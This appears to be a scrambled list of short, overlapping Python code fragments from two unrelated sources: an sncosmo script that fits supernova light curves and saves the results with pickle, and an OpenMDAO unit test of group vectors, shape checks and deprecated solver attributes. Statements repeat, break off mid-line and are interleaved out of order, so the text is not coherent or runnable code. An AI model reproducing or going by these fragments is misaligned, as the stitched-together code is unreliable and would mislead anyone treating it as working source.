expand_bands=True, read_covmat=True) lc =", "no_mc: emcee_result, emcee_fit_model = sncosmo.mcmc_lc(sncosmo.select_data(lc, minuit_result['data_mask']), minuit_fit_model, model.param_names[:-2], guess_t0=False, bounds=bounds,", "pickle import sncosmo import numpy as np from astropy.table import", "as np from astropy.table import Table DATA_PATH = '/home/samdixon/jla_light_curves/' def", "to each observation \"\"\" data = sncosmo.photdata.photometric_data(lc).normalized(zp=25., zpsys='ab') new_lc =", "new_lc = Table(new_lc, meta=lc.meta) return new_lc def fit_lc_and_save(lc, model_name, save_dir,", "try: t0 = float(lc.meta['DayMax'].split()[0]) bounds['t0'] = (t0-5, t0+5) except KeyError:", "'wb')) except: print('Fit to {} failed'.format(name)) sys.stdout.flush() def main(): model_name,", "meta=lc.meta) return new_lc def fit_lc_and_save(lc, model_name, save_dir, no_mc): name =", "model_name, save_dir, no_mc): name = lc.meta['SN'] model = sncosmo.Model(source=model_name, effects=[sncosmo.CCM89Dust()],", "= np.max(data.flux[band_cut]) new_lc['fluxerr'][band_cut] = np.sqrt((error_floor*max_flux_in_band)**2+data.fluxerr[band_cut]**2) new_lc = Table(new_lc, meta=lc.meta) return", "os.path.join(save_dir, '{}.pkl'.format(name)) try: pickle.load(open(load_path, 'rb')) print('{}: loaded'.format(name)) sys.stdout.flush() except IOError:", "None save_path = os.path.join(save_dir, '{}.pkl'.format(name)) try: minuit_result, minuit_fit_model = sncosmo.fit_lc(lc,", "maximum flux of the band to each observation \"\"\" data", "bounds['t0'] = (min(lc['time'])-20, max(lc['time'])) bounds['z'] = ((1-1e-4)*z, (1+1e-4)*z) for param_name", "warn=False, nwalkers=40, modelcov=modelcov) pickle.dump(emcee_result, open(save_path, 'wb')) else: pickle.dump(minuit_result, open(save_path, 'wb'))", "minuit_fit_model = sncosmo.fit_lc(lc, model, model.param_names[:-2], bounds=bounds, phase_range=phase_range, wave_range=wave_range, warn=False, modelcov=modelcov)", "else: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening_mcmc/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) if not os.path.isdir(save_dir): os.makedirs(save_dir) lcs", "in set(data.band): band_cut = data.band==band max_flux_in_band = np.max(data.flux[band_cut]) new_lc['fluxerr'][band_cut] =", "z = lc.meta['Z_HELIO'] mwebv = lc.meta['MWEBV'] bounds = {} try:", "model_name=='salt2' model.set(z=z, t0=t0, mwebv=mwebv) phase_range = (-15, 45) if model_name=='salt2'", "param_name in model.source.param_names[1:]: bounds[param_name] = (-50, 50) modelcov = model_name=='salt2'", "'rb')) print('{}: loaded'.format(name)) sys.stdout.flush() except IOError: print('Fitting {}'.format(name)) sys.stdout.flush() fit_lc_and_save(lc,", "= sncosmo.fit_lc(lc, model, model.param_names[:-2], bounds=bounds, phase_range=phase_range, wave_range=wave_range, warn=False, modelcov=modelcov) if", "45) if model_name=='salt2' else (-10, 40) wave_range = (3000, 7000)", "np.mean(lc['time']) bounds['t0'] = (min(lc['time'])-20, max(lc['time'])) bounds['z'] = ((1-1e-4)*z, (1+1e-4)*z) for", "os.makedirs(save_dir) lcs = [] for f in os.listdir(DATA_PATH)[int(start):int(finish)]: if f[:2]", "else None save_path = os.path.join(save_dir, '{}.pkl'.format(name)) try: minuit_result, minuit_fit_model =", "if type(name) is float: name = int(name) load_path = os.path.join(save_dir,", "try: pickle.load(open(load_path, 'rb')) print('{}: loaded'.format(name)) sys.stdout.flush() except IOError: print('Fitting {}'.format(name))", "float: name = int(name) load_path = os.path.join(save_dir, '{}.pkl'.format(name)) try: pickle.load(open(load_path,", "bounds = {} try: t0 = float(lc.meta['DayMax'].split()[0]) bounds['t0'] = (t0-5,", "int(err_floor*100)) else: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening_mcmc/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) if not os.path.isdir(save_dir): os.makedirs(save_dir)", "is float: name = int(name) load_path = os.path.join(save_dir, '{}.pkl'.format(name)) try:", "sncosmo.read_lc(os.path.join(DATA_PATH, f), format='salt2', expand_bands=True, read_covmat=True) lc = modify_error(lc, err_floor) name", "os import sys import click import pickle import sncosmo import", "try: t0 = np.mean(lc['Date']) bounds['t0'] = (min(lc['Date'])-20, max(lc['Date'])) except KeyError:", "data.fluxerr, 'zp': data.zp, 'zpsys': data.zpsys} for band in set(data.band): band_cut", "return new_lc def fit_lc_and_save(lc, model_name, save_dir, no_mc): name = lc.meta['SN']", "import os import sys import click import pickle import sncosmo", "data.zp, 'zpsys': data.zpsys} for band in set(data.band): band_cut = data.band==band", "t0 = np.mean(lc['time']) bounds['t0'] = (min(lc['time'])-20, max(lc['time'])) bounds['z'] = ((1-1e-4)*z,", "model_name=='salt2' else None save_path = os.path.join(save_dir, '{}.pkl'.format(name)) try: minuit_result, minuit_fit_model", "data = sncosmo.photdata.photometric_data(lc).normalized(zp=25., zpsys='ab') new_lc = {'time': data.time, 'band': data.band,", "= ((1-1e-4)*z, (1+1e-4)*z) for param_name in model.source.param_names[1:]: bounds[param_name] = (-50,", "modelcov = model_name=='salt2' model.set(z=z, t0=t0, mwebv=mwebv) phase_range = (-15, 45)", "print('Fit to {} failed'.format(name)) sys.stdout.flush() def main(): model_name, start, finish,", "= '/home/samdixon/host_unity/fitting/results_mw_reddening/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) else: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening_mcmc/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) if not", "int(finish) err_floor = float(err_floor) no_mc = bool(int(no_mc)) if no_mc: save_dir", "sys.stdout.flush() except IOError: print('Fitting {}'.format(name)) sys.stdout.flush() fit_lc_and_save(lc, model_name, save_dir, no_mc)", "(min(lc['Date'])-20, max(lc['Date'])) except KeyError: t0 = np.mean(lc['time']) bounds['t0'] = (min(lc['time'])-20,", "sys import click import pickle import sncosmo import numpy as", "(-50, 50) modelcov = model_name=='salt2' model.set(z=z, t0=t0, mwebv=mwebv) phase_range =", "if type(name) is float: name = int(name) z = lc.meta['Z_HELIO']", "no_mc = bool(int(no_mc)) if no_mc: save_dir = '/home/samdixon/host_unity/fitting/results_mw_reddening/jla_{}_{:02d}'.format(model_name, int(err_floor*100)) else:", "lc.meta['SN'] model = sncosmo.Model(source=model_name, effects=[sncosmo.CCM89Dust()], effect_names=['mw'], effect_frames=['obs']) if type(name) is", "model.source.param_names[1:]: bounds[param_name] = (-50, 50) modelcov = model_name=='salt2' model.set(z=z, t0=t0,", "= {'time': data.time, 'band': data.band, 'flux': data.flux, 'fluxerr': data.fluxerr, 'zp':", "= (min(lc['Date'])-20, max(lc['Date'])) except KeyError: t0 = np.mean(lc['time']) bounds['t0'] =", "model = sncosmo.Model(source=model_name, effects=[sncosmo.CCM89Dust()], effect_names=['mw'], effect_frames=['obs']) if type(name) is float:", "error_floor=0.): \"\"\"Add an error floor of `error_floor` times the maximum", "'flux': data.flux, 'fluxerr': data.fluxerr, 'zp': data.zp, 'zpsys': data.zpsys} for band", "= '/home/samdixon/jla_light_curves/' def modify_error(lc, error_floor=0.): \"\"\"Add an error floor of", "= float(lc.meta['DayMax'].split()[0]) bounds['t0'] = (t0-5, t0+5) except KeyError: try: t0", "f[:2] == 'lc': lc = sncosmo.read_lc(os.path.join(DATA_PATH, f), format='salt2', expand_bands=True, read_covmat=True)", "modify_error(lc, err_floor) name = lc.meta['SN'] if type(name) is float: name", "error floor of `error_floor` times the maximum flux of the", "sncosmo.photdata.photometric_data(lc).normalized(zp=25., zpsys='ab') new_lc = {'time': data.time, 'band': data.band, 'flux': data.flux,", "loaded'.format(name)) sys.stdout.flush() except IOError: print('Fitting {}'.format(name)) sys.stdout.flush() fit_lc_and_save(lc, model_name, save_dir,", "model.param_names[:-2], guess_t0=False, bounds=bounds, warn=False, nwalkers=40, modelcov=modelcov) pickle.dump(emcee_result, open(save_path, 'wb')) else:", "def fit_lc_and_save(lc, model_name, save_dir, no_mc): name = lc.meta['SN'] model =", "(-15, 45) if model_name=='salt2' else (-10, 40) wave_range = (3000,", "sncosmo.Model(source=model_name, effects=[sncosmo.CCM89Dust()], effect_names=['mw'], effect_frames=['obs']) if type(name) is float: name =", "effect_frames=['obs']) if type(name) is float: name = int(name) z =", "model.param_names[:-2], bounds=bounds, phase_range=phase_range, wave_range=wave_range, warn=False, modelcov=modelcov) if not no_mc: emcee_result,", "np.sqrt((error_floor*max_flux_in_band)**2+data.fluxerr[band_cut]**2) new_lc = Table(new_lc, meta=lc.meta) return new_lc def fit_lc_and_save(lc, model_name,", "model.set(z=z, t0=t0, mwebv=mwebv) phase_range = (-15, 45) if model_name=='salt2' else", "pickle.dump(minuit_result, open(save_path, 'wb')) except: print('Fit to {} failed'.format(name)) sys.stdout.flush() def", "sys.argv[1:] start = int(start) finish = int(finish) err_floor = float(err_floor)", "= int(finish) err_floor = float(err_floor) no_mc = bool(int(no_mc)) if no_mc:", "int(start) finish = int(finish) err_floor = float(err_floor) no_mc = bool(int(no_mc))", "(-10, 40) wave_range = (3000, 7000) if model_name=='salt2' else None", "import sncosmo import numpy as np from astropy.table import Table", "not os.path.isdir(save_dir): os.makedirs(save_dir) lcs = [] for f in os.listdir(DATA_PATH)[int(start):int(finish)]:", "name = lc.meta['SN'] model = sncosmo.Model(source=model_name, effects=[sncosmo.CCM89Dust()], effect_names=['mw'], effect_frames=['obs']) if", "t0=t0, mwebv=mwebv) phase_range = (-15, 45) if model_name=='salt2' else (-10,", "of `error_floor` times the maximum flux of the band to", "float: name = int(name) z = lc.meta['Z_HELIO'] mwebv = lc.meta['MWEBV']", "bounds['t0'] = (min(lc['Date'])-20, max(lc['Date'])) except KeyError: t0 = np.mean(lc['time']) bounds['t0']", "= [] for f in os.listdir(DATA_PATH)[int(start):int(finish)]: if f[:2] == 'lc':", "print('{}: loaded'.format(name)) sys.stdout.flush() except IOError: print('Fitting {}'.format(name)) sys.stdout.flush() fit_lc_and_save(lc, model_name,", "observation \"\"\" data = sncosmo.photdata.photometric_data(lc).normalized(zp=25., zpsys='ab') new_lc = {'time': data.time,", "lc.meta['MWEBV'] bounds = {} try: t0 = float(lc.meta['DayMax'].split()[0]) bounds['t0'] =", "data.zpsys} for band in set(data.band): band_cut = data.band==band max_flux_in_band =", "in model.source.param_names[1:]: bounds[param_name] = (-50, 50) modelcov = model_name=='salt2' model.set(z=z,", "no_mc = sys.argv[1:] start = int(start) finish = int(finish) err_floor", "band to each observation \"\"\" data = sncosmo.photdata.photometric_data(lc).normalized(zp=25., zpsys='ab') new_lc", "emcee_fit_model = sncosmo.mcmc_lc(sncosmo.select_data(lc, minuit_result['data_mask']), minuit_fit_model, model.param_names[:-2], guess_t0=False, bounds=bounds, warn=False, nwalkers=40,", "`error_floor` times the maximum flux of the band to each", "data.flux, 'fluxerr': data.fluxerr, 'zp': data.zp, 'zpsys': data.zpsys} for band in", "import Table DATA_PATH = '/home/samdixon/jla_light_curves/' def modify_error(lc, error_floor=0.): \"\"\"Add an", "= lc.meta['SN'] if type(name) is float: name = int(name) load_path", "= model_name=='salt2' model.set(z=z, t0=t0, mwebv=mwebv) phase_range = (-15, 45) if", "band_cut = data.band==band max_flux_in_band = np.max(data.flux[band_cut]) new_lc['fluxerr'][band_cut] = np.sqrt((error_floor*max_flux_in_band)**2+data.fluxerr[band_cut]**2) new_lc", "wave_range = (3000, 7000) if model_name=='salt2' else None save_path =", "KeyError: try: t0 = np.mean(lc['Date']) bounds['t0'] = (min(lc['Date'])-20, max(lc['Date'])) except", "np.mean(lc['Date']) bounds['t0'] = (min(lc['Date'])-20, max(lc['Date'])) except KeyError: t0 = np.mean(lc['time'])", "[] for f in os.listdir(DATA_PATH)[int(start):int(finish)]: if f[:2] == 'lc': lc", "lc = sncosmo.read_lc(os.path.join(DATA_PATH, f), format='salt2', expand_bands=True, read_covmat=True) lc = modify_error(lc,", "each observation \"\"\" data = sncosmo.photdata.photometric_data(lc).normalized(zp=25., zpsys='ab') new_lc = {'time':", "= (-50, 50) modelcov = model_name=='salt2' model.set(z=z, t0=t0, mwebv=mwebv) phase_range", "type(name) is float: name = int(name) z = lc.meta['Z_HELIO'] mwebv", "data.band==band max_flux_in_band = np.max(data.flux[band_cut]) new_lc['fluxerr'][band_cut] = np.sqrt((error_floor*max_flux_in_band)**2+data.fluxerr[band_cut]**2) new_lc = Table(new_lc,", "sncosmo.fit_lc(lc, model, model.param_names[:-2], bounds=bounds, phase_range=phase_range, wave_range=wave_range, warn=False, modelcov=modelcov) if not", "import sys import click import pickle import sncosmo import numpy", "start = int(start) finish = int(finish) err_floor = float(err_floor) no_mc", "IOError: print('Fitting {}'.format(name)) sys.stdout.flush() fit_lc_and_save(lc, model_name, save_dir, no_mc) else: continue", "= (-15, 45) if model_name=='salt2' else (-10, 40) wave_range =", "astropy.table import Table DATA_PATH = '/home/samdixon/jla_light_curves/' def modify_error(lc, error_floor=0.): \"\"\"Add", "import numpy as np from astropy.table import Table DATA_PATH =", "'wb')) else: pickle.dump(minuit_result, open(save_path, 'wb')) except: print('Fit to {} failed'.format(name))" ]
[ "msg): inputs['C2.x'] = bad_val # assign list to array inputs['C2.x']", "promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b']) model = Group() model.add_subsystem('G1', g1,", "Group() g1.add_subsystem('Indep', indep, promotes=['a', 'x']) g2 = g1.add_subsystem('G2', Group(), promotes=['*'])", "\" \\ \"with earlier version of OpenMDAO; use 'options' instead.\"", "self.assertEqual( len(outputs), 4) # Outputs with excludes. Explicit only outputs", "as np from openmdao.api import Problem, Group, IndepVarComp, ExecComp from", "errors with self.assertRaises(Exception) as cm: inputs, outputs, residuals = model.get_nonlinear_vectors()", "original values inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(outputs['G1.G2.C1.b'], 10.) inputs,", "model.list_inputs(excludes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs), 8) # Inputs with excludes matching", "\"The 'metadata' attribute provides backwards compatibility \" \\ \"with earlier", "output # # assign array to scalar with assertRaisesRegex(self, ValueError,", "def test_set_checks_shape(self): indep = IndepVarComp() indep.add_output('a') indep.add_output('x', shape=(5, 1)) g1", "instead.\" with assert_warning(DeprecationWarning, msg): prob.model.double.metadata['size'] = 3 prob.model.connect('inputs.x', 'double.x') prob.setup()", "2) # Inputs with excludes inputs = model.list_inputs(excludes=['*V_out*'], out_stream=None) self.assertEqual(", "= DummySolver() with assert_warning(DeprecationWarning, msg): solver = model.ln_solver self.assertTrue(isinstance(solver, DummySolver))", "promotes=['a']) g2 = g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b'])", "six.moves import cStringIO import numpy as np from openmdao.api import", "inputs, outputs, residuals = model.get_nonlinear_vectors() residuals['G1.G2.C1.b'] = 99.0 self.assertEqual(residuals['G1.G2.C1.b'], 99.0)", "= model.list_inputs(includes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 2) # Inputs with excludes", "out_stream=None) self.assertEqual( len(inputs), 1) # Outputs with no includes or", "; use 'nonlinear_solver' instead.\" with assert_warning(DeprecationWarning, msg): model.nl_solver = DummySolver()", "Problem(model=model) p.set_solver_print(level=0) # Test pre-setup errors with self.assertRaises(Exception) as cm:", "promotes=['a', 'b']) model = Group() model.add_subsystem('G1', g1, promotes=['b']) model.add_subsystem('Sink', ExecComp('c=2*b'),", "because setup has not yet been called.\") with self.assertRaises(Exception) as", "excludes matching a promoted name inputs = model.list_inputs(excludes=['*Vg*'], out_stream=None) self.assertEqual(", "d_inputs, d_outputs, d_residuals = model.get_linear_vectors('bad_name') self.assertEqual(str(cm.exception), \"Group (<model>): There is", "bad list shape to array with assertRaisesRegex(self, ValueError, msg): residuals['C2.y']", "after setting a new value inputs, outputs, residuals = g2.get_nonlinear_vectors()", "or excludes. Explicit only outputs = model.list_outputs(implicit=False, out_stream=None) self.assertEqual( len(outputs),", "nl_solver setter & getter msg = \"The 'nl_solver' attribute provides", "outputs['C2.y'] = arr_val assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign bad", "\"with OpenMDAO 1.x ; use 'linear_solver' instead.\" with assert_warning(DeprecationWarning, msg):", "'nonlinear_solver' instead.\" with assert_warning(DeprecationWarning, msg): model.nl_solver = DummySolver() with assert_warning(DeprecationWarning,", "'b']) model = Group() model.add_subsystem('G1', g1, promotes=['b']) model.add_subsystem('Sink', ExecComp('c=2*b'), promotes=['b'])", "assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign bad list shape to", "def test_deprecated_solver_names(self): class DummySolver(): pass model = Group() # check", "p.model model.add_subsystem('ground', IndepVarComp('V', 0., units='V')) model.add_subsystem('source', IndepVarComp('I', 0.1, units='A')) model.add_subsystem('circuit',", "d_inputs, d_outputs, d_residuals = model.get_linear_vectors('linear') d_outputs['G1.G2.C1.b'] = 10. self.assertEqual(d_outputs['G1.G2.C1.b'], 10.)", "outputs['C1.b'] = 789. self.assertEqual(outputs['C1.b'], 789.) # Test residuals inputs, outputs,", "outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], 5.) inputs, outputs, residuals =", "1e-10) # assign array to array residuals['C2.y'] = arr_val assert_rel_error(self,", "excludes. Explicit only outputs = model.list_outputs(excludes=['circuit*'], implicit=False, out_stream=None) self.assertEqual( len(outputs),", "ExecComp(('c=2*b', 'z=2*y'), y=np.zeros((5, 1)), z=np.zeros((5, 1))), promotes=['b', 'y']) p =", "has not yet been called.\") with self.assertRaises(Exception) as cm: d_inputs,", "inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(str(cm.exception), \"Group: Cannot get vectors", "vector named %s\" % 'bad_name') def test_set_checks_shape(self): indep = IndepVarComp()", "array with assertRaisesRegex(self, ValueError, msg): outputs['C2.y'] = bad_val.tolist() # #", "model = Group() # check nl_solver setter & getter msg", "(<model>): There is no linear vector named %s\" % 'bad_name')", "= model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], 5.) inputs, outputs, residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'],", "Test outputs with original values inputs, outputs, residuals = model.get_nonlinear_vectors()", "= Group() # check nl_solver setter & getter msg =", "indep.add_output('a') indep.add_output('x', shape=(5, 1)) g1 = Group() g1.add_subsystem('Indep', indep, promotes=['a',", "model.get_nonlinear_vectors() self.assertEqual(outputs['G1.G2.C1.b'], 10.) inputs, outputs, residuals = g2.get_nonlinear_vectors() # Test", "class DummySolver(): pass model = Group() # check nl_solver setter", "OpenMDAO 1.x ; use 'linear_solver' instead.\" with assert_warning(DeprecationWarning, msg): model.ln_solver", "provides backwards compatibility \" \\ \"with earlier version of OpenMDAO;", "name inputs = model.list_inputs(excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 9) # Inputs", "1e-10) # assign array to array inputs['C2.x'] = arr_val assert_rel_error(self,", "assertRaisesRegex(self, ValueError, msg): outputs['C1.b'] = arr_val # assign scalar to", "not yet been called.\") with self.assertRaises(Exception) as cm: d_inputs, d_outputs,", "array to scalar with assertRaisesRegex(self, ValueError, msg): inputs['C1.a'] = arr_val", "matching a promoted name inputs = model.list_inputs(excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs),", "get vectors because setup has not yet been called.\") p.setup()", "vectors because setup has not yet been called.\") with self.assertRaises(Exception)", "assign scalar to array inputs['C2.x'] = num_val assert_rel_error(self, inputs['C2.x'], arr_val,", "residuals['G1.G2.C1.b'] = 99.0 self.assertEqual(residuals['G1.G2.C1.b'], 99.0) # Test linear d_inputs, d_outputs,", "linear with invalid vec_name with self.assertRaises(Exception) as cm: d_inputs, d_outputs,", "residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], -1.) # Test outputs with original", "Expected (.*) but got (.*)\" num_val = -10 arr_val =", "IndepVarComp, ExecComp from openmdao.test_suite.components.options_feature_vector import VectorDoublingComp from openmdao.utils.assert_utils import assert_rel_error,", "= 99.0 self.assertEqual(residuals['G1.G2.C1.b'], 99.0) # Test linear d_inputs, d_outputs, d_residuals", "outputs after setting a new value inputs, outputs, residuals =", "Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b']) g2.add_subsystem('C2', ExecComp('y=2*x', x=np.zeros((5, 1)),", "'y']) model.add_subsystem('Sink', ExecComp(('c=2*b', 'z=2*y'), y=np.zeros((5, 1)), z=np.zeros((5, 1))), promotes=['b', 'y'])", "% 'bad_name') def test_set_checks_shape(self): indep = IndepVarComp() indep.add_output('a') indep.add_output('x', shape=(5,", "promoted name inputs = model.list_inputs(includes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 2) #", "Problem() prob.model.add_subsystem('inputs', IndepVarComp('x', shape=3)) prob.model.add_subsystem('double', VectorDoublingComp()) msg = \"The 'metadata'", "model = Group() model.add_subsystem('G1', g1, promotes=['b', 'y']) model.add_subsystem('Sink', ExecComp(('c=2*b', 'z=2*y'),", "d_outputs['G1.G2.C1.b'] = 10. self.assertEqual(d_outputs['G1.G2.C1.b'], 10.) # Test linear with invalid", "= bad_val # assign list to array residuals['C2.y'] = arr_val.tolist()", "inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], -1.) inputs, outputs, residuals", "p = Problem(model=model) p.set_solver_print(level=0) # Test pre-setup errors with self.assertRaises(Exception)", "array to array residuals['C2.y'] = arr_val assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10)", "outputs = model.list_outputs(excludes=['circuit*'], implicit=False, out_stream=None) self.assertEqual( len(outputs), 2) if __name__", "prob['inputs.x'] = [1., 2., 3.] prob.run_model() assert_rel_error(self, prob['double.y'], [2., 4.,", "Problem, Group, IndepVarComp, ExecComp from openmdao.test_suite.components.options_feature_vector import VectorDoublingComp from openmdao.utils.assert_utils", "'double.x') prob.setup() prob['inputs.x'] = [1., 2., 3.] prob.run_model() assert_rel_error(self, prob['double.y'],", "outputs['C2.y'], arr_val, 1e-10) # assign array to array outputs['C2.y'] =", "'linear_solver' instead.\" with assert_warning(DeprecationWarning, msg): model.ln_solver = DummySolver() with assert_warning(DeprecationWarning,", "from openmdao.test_suite.scripts.circuit_analysis import Resistor, Diode, Node, Circuit p = Problem()", "array to scalar with assertRaisesRegex(self, ValueError, msg): outputs['C1.b'] = arr_val", "model.add_subsystem('G1', g1, promotes=['b']) model.add_subsystem('Sink', ExecComp('c=2*b'), promotes=['b']) p = Problem(model=model) p.set_solver_print(level=0)", "Test inputs with original values inputs, outputs, residuals = model.get_nonlinear_vectors()", "'y']) p = Problem(model=model) p.setup() p.set_solver_print(level=0) p.run_model() msg = \"Incompatible", "array inputs['C2.x'] = arr_val.tolist() assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign", "\"Incompatible shape for '.*': Expected (.*) but got (.*)\" num_val", "model.list_outputs(excludes=['circuit*'], implicit=False, out_stream=None) self.assertEqual( len(outputs), 2) if __name__ == \"__main__\":", "= bad_val.tolist() # # set residual # # assign array", "= model.ln_solver self.assertTrue(isinstance(solver, DummySolver)) def test_deprecated_metadata(self): prob = Problem() prob.model.add_subsystem('inputs',", "ExecComp from openmdao.test_suite.components.options_feature_vector import VectorDoublingComp from openmdao.utils.assert_utils import assert_rel_error, assert_warning", "1)), y=np.zeros((5, 1))), promotes=['x', 'y']) model = Group() model.add_subsystem('G1', g1,", "= model.get_linear_vectors('vec') self.assertEqual(str(cm.exception), \"Group: Cannot get vectors because setup has", "-1.) inputs, outputs, residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], -1.) # Test", "# check ln_solver setter & getter msg = \"The 'ln_solver'", "= model.list_inputs(out_stream=None) self.assertEqual( len(inputs), 11) # Inputs with includes inputs", "= model.list_outputs(includes=['*I'], implicit=False, out_stream=None) self.assertEqual( len(outputs), 4) # Outputs with", "%s\" % 'bad_name') def test_set_checks_shape(self): indep = IndepVarComp() indep.add_output('a') indep.add_output('x',", "Outputs with excludes. Explicit only outputs = model.list_outputs(excludes=['circuit*'], implicit=False, out_stream=None)", "residuals = model.get_nonlinear_vectors() self.assertEqual(str(cm.exception), \"Group: Cannot get vectors because setup", "p.run_model() # Inputs with no includes or excludes inputs =", "assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign bad list shape to", "outputs, residuals = model.get_nonlinear_vectors() residuals['G1.G2.C1.b'] = 99.0 self.assertEqual(residuals['G1.G2.C1.b'], 99.0) #", "and excludes inputs = model.list_inputs(includes=['*V_out*'], excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 1)", "= \"The 'ln_solver' attribute provides backwards compatibility \" \\ \"with", "residuals = g2.get_nonlinear_vectors() # # set input # # assign", "IndepVarComp('V', 0., units='V')) model.add_subsystem('source', IndepVarComp('I', 0.1, units='A')) model.add_subsystem('circuit', Circuit()) model.connect('source.I',", "assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign bad list shape to", "= arr_val assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign bad array", "of OpenMDAO; use 'options' instead.\" with assert_warning(DeprecationWarning, msg): prob.model.double.metadata['size'] =", "openmdao.api import Problem, Group, IndepVarComp, ExecComp from openmdao.test_suite.components.options_feature_vector import VectorDoublingComp", "for '.*': Expected (.*) but got (.*)\" num_val = -10", "'.*': Expected (.*) but got (.*)\" num_val = -10 arr_val", "len(outputs), 4) # Outputs with excludes. Explicit only outputs =", "= g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], -1.) # Test outputs with original values", "= model.list_inputs(includes=['*V_out*'], excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 1) # Outputs with", "# Inputs with excludes matching a promoted name inputs =", "list shape to array with assertRaisesRegex(self, ValueError, msg): inputs['C2.x'] =", "to array with assertRaisesRegex(self, ValueError, msg): residuals['C2.y'] = bad_val.tolist() def", "d_residuals = model.get_linear_vectors('linear') d_outputs['G1.G2.C1.b'] = 10. self.assertEqual(d_outputs['G1.G2.C1.b'], 10.) # Test", "inputs = model.list_inputs(excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 9) # Inputs with", "len(inputs), 9) # Inputs with includes and excludes inputs =", "with includes. Explicit only outputs = model.list_outputs(includes=['*I'], implicit=False, out_stream=None) self.assertEqual(", "array with assertRaisesRegex(self, ValueError, msg): residuals['C2.y'] = bad_val # assign", "# check nl_solver setter & getter msg = \"The 'nl_solver'", "OpenMDAO; use 'options' instead.\" with assert_warning(DeprecationWarning, msg): prob.model.double.metadata['size'] = 3", "outputs = model.list_outputs(includes=['*I'], implicit=False, out_stream=None) self.assertEqual( len(outputs), 4) # Outputs", "= \"The 'metadata' attribute provides backwards compatibility \" \\ \"with", "g1 = Group() g1.add_subsystem('Indep', IndepVarComp('a', 5.0), promotes=['a']) g2 = g1.add_subsystem('G2',", "-1.) # Test outputs with original values inputs, outputs, residuals", "instead.\" with assert_warning(DeprecationWarning, msg): model.ln_solver = DummySolver() with assert_warning(DeprecationWarning, msg):", "as cm: d_inputs, d_outputs, d_residuals = model.get_linear_vectors('vec') self.assertEqual(str(cm.exception), \"Group: Cannot", "= arr_val # assign scalar to array outputs['C2.y'] = num_val", "msg): model.ln_solver = DummySolver() with assert_warning(DeprecationWarning, msg): solver = model.ln_solver", "# assign array to array outputs['C2.y'] = arr_val assert_rel_error(self, outputs['C2.y'],", "ln_solver setter & getter msg = \"The 'ln_solver' attribute provides", "\" \\ \"with OpenMDAO 1.x ; use 'linear_solver' instead.\" with", "to array with assertRaisesRegex(self, ValueError, msg): inputs['C2.x'] = bad_val #", "assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign bad array shape to", "= arr_val.tolist() assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign bad list", "\" \\ \"with OpenMDAO 1.x ; use 'nonlinear_solver' instead.\" with", "self.assertEqual(str(cm.exception), \"Group: Cannot get vectors because setup has not yet", "1))), promotes=['x', 'y']) model = Group() model.add_subsystem('G1', g1, promotes=['b', 'y'])", "vec_name with self.assertRaises(Exception) as cm: d_inputs, d_outputs, d_residuals = model.get_linear_vectors('bad_name')", "residuals['C2.y'] = bad_val # assign list to array residuals['C2.y'] =", "array with assertRaisesRegex(self, ValueError, msg): residuals['C2.y'] = bad_val.tolist() def test_deprecated_solver_names(self):", "assign list to array outputs['C2.y'] = arr_val.tolist() assert_rel_error(self, outputs['C2.y'], arr_val,", "10.) # Test linear with invalid vec_name with self.assertRaises(Exception) as", "outputs with original values inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(outputs['G1.G2.C1.b'],", "prob.model.connect('inputs.x', 'double.x') prob.setup() prob['inputs.x'] = [1., 2., 3.] prob.run_model() assert_rel_error(self,", "model.ln_solver = DummySolver() with assert_warning(DeprecationWarning, msg): solver = model.ln_solver self.assertTrue(isinstance(solver,", "with assert_warning(DeprecationWarning, msg): solver = model.ln_solver self.assertTrue(isinstance(solver, DummySolver)) def test_deprecated_metadata(self):", "not yet been called.\") p.setup() p.run_model() # Test inputs with", "self.assertEqual( len(inputs), 11) # Inputs with includes inputs = model.list_inputs(includes=['*V_out*'],", "implicit=False, out_stream=None) self.assertEqual( len(outputs), 2) if __name__ == \"__main__\": unittest.main()", "assert_warning(DeprecationWarning, msg): solver = model.ln_solver self.assertTrue(isinstance(solver, DummySolver)) def test_deprecated_metadata(self): prob", "no linear vector named %s\" % 'bad_name') def test_set_checks_shape(self): indep", "bad array shape to array with assertRaisesRegex(self, ValueError, msg): residuals['C2.y']", "self.assertEqual( len(inputs), 8) # Inputs with excludes matching a promoted", "ValueError, msg): outputs['C2.y'] = 